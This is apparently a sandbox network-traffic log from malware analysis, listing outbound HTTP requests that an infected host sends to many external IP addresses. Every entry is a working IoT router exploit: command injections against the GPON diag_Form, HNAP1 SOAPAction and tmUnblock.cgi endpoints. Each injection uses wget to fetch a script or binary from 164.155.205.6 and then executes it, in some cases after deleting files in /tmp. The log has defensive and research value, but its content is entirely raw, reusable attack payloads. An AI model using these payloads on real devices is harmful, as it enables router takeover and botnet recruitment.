Mar 2, 2024 12:37:42.022161961 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
913	192.168.2.23	51536	37.31.170.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022164106 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
914	192.168.2.23	46542	210.101.56.81	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022172928 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
915	192.168.2.23	42672	79.23.142.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022239923 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
916	192.168.2.23	47208	210.162.44.166	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022244930 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
917	192.168.2.23	37332	178.87.161.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022293091 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
918	192.168.2.23	35622	37.205.194.169	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022294998 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
919	192.168.2.23	54494	178.51.222.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022303104 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
920	192.168.2.23	35714	109.105.92.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.022320986 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
921	192.168.2.23	48840	199.101.115.17	8081

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.024393082 CET	750	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://164.155.205.6/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 2, 2024 12:37:45.118328094 CET	750	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://164.155.205.6/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 2, 2024 12:37:51.261504889 CET	750	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://164.155.205.6/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 2, 2024 12:38:03.291702986 CET	750	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://164.155.205.6/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 2, 2024 12:38:28.892081976 CET	750	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://164.155.205.6/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
922	192.168.2.23	34200	172.87.221.187	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:42.052403927 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:42.977009058 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:44.030390024 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:46.142080069 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:50.493494034 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:58.940327883 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:16.605808973 CET	109	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
